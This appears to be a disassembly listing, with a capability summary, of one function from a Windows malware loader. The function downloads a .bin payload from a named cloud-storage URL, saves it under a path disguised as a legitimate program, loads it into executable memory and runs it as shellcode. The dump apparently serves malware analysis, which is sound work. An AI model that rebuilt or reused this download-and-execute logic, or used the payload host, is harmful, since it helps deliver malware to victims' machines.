Function at 0x403240
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x428613
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x11b0
call fcn.0040ab60
call fcn.00402fd0
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x28], str.https:__wwwqd_1323571269.cos.ap_singapore.myqcloud.com_qd.bin
mov dword [ebp - 0x18], str.C:Program_Files__x86_Everything4.bin
push 0
push 0
push 0
push 1
push str.loader
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4032ba
push 0x407ca0
push 0x434924
push 0x439048
call fcn.00407990
add esp, 8
mov ecx, eax
call fcn.00404e80
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x403304
push 0x407ca0
push 0x4349d4
push 0x439048
call fcn.00407990
add esp, 8
mov ecx, eax
call fcn.00404e80
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 1
push 0x40
push 0x20
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0x1bc]
call fcn.00404c50
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1bc]
call fcn.00404b70
movzx ecx, al
test ecx, ecx
jne 0x403371
push 0x407ca0
mov edx, dword [ebp - 0x18]
push edx
push 0x434a24
push 0x439048
call fcn.00407990
add esp, 8
push eax
call fcn.00407990
add esp, 8
mov ecx, eax
call fcn.00404e80
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x3c], 0x1000
lea edx, [ebp - 0x24]
push edx
push 0x1000
lea eax, [ebp - 0x11bc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4033b7
cmp dword [ebp - 0x24], 0
jbe 0x4033b7
mov edx, dword [ebp - 0x24]
xor eax, eax
push eax
push edx
lea ecx, [ebp - 0x11bc]
push ecx
lea ecx, [ebp - 0x1bc]
call fcn.00404d50
jmp 0x403378
lea ecx, [ebp - 0x1bc]
call fcn.00404b40
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 1
push 0x40
push 0x24
mov ecx, dword [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x10c]
call fcn.00403720
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x10c]
call fcn.004036a0
movzx edx, al
test edx, edx
jne 0x40342c
push 0x407ca0
mov eax, dword [ebp - 0x18]
push eax
push 0x434a94
push 0x439048
call fcn.00407990
add esp, 8
push eax
call fcn.00407990
add esp, 8
mov ecx, eax
call fcn.00404e80
lea ecx, [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x10c]
call fcn.00403820
push 0
push 0
push 0
lea ecx, [ebp - 0x10c]
call fcn.004038f0
lea ecx, [ebp - 0x1d]
call fcn.00404f80
push eax
lea ecx, [ebp - 0x54]
call fcn.00404f90
push eax
lea ecx, [ebp - 0x38]
call fcn.00403630
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x54]
call fcn.00404f90
push edx
push eax
lea ecx, [ebp - 0x38]
call fcn.004035f0
push eax
lea ecx, [ebp - 0x10c]
call fcn.00403a00
lea ecx, [ebp - 0x10c]
call fcn.00403670
push 0x40
push 0x1000
lea ecx, [ebp - 0x54]
call fcn.00404f90
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x4034d2
push 0x407ca0
push str.error
push 0x439048
call fcn.00407990
add esp, 8
mov ecx, eax
call fcn.00404e80
lea ecx, [ebp - 0x54]
call fcn.00404f90
push eax
lea ecx, [ebp - 0x38]
call fcn.004035f0
push eax
mov edx, dword [ebp - 0x1c]
push edx
call fcn.0040b210
add esp, 0xc
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
call dword [ebp - 0x2c]
push 0x8000
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x407ca0
push 0x4347c4
push 0x439048
call fcn.00407990
add esp, 8
mov ecx, eax
call fcn.00404e80
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x38]
call fcn.00403610
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10c]
call fcn.00403570
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1bc]
call fcn.00402e20
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret